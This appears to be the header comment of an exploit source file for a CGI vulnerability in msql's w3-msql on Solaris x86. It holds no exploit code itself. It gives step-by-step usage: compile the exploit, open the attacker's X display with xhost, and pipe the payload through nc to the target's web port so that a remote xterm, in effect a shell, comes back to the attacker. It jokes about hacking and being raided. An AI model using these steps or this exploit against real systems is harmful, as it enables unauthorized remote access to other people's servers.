 * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
 *
 * Platform: Solaris x86
 *           Feel free to port it to other arquitectures, if you can...
 *           If so mail me plz.
 *
 * By: Zhodiac <zhodiac@softhome.net>
 *
 * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
 *        2) xhost +<target_ip>
 *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
 *        4) Take a cup of cofee, some kind of drug or wathever
 *           estimulates you at hacking time... while the xterm is comming
 *           or while you are getting raided.
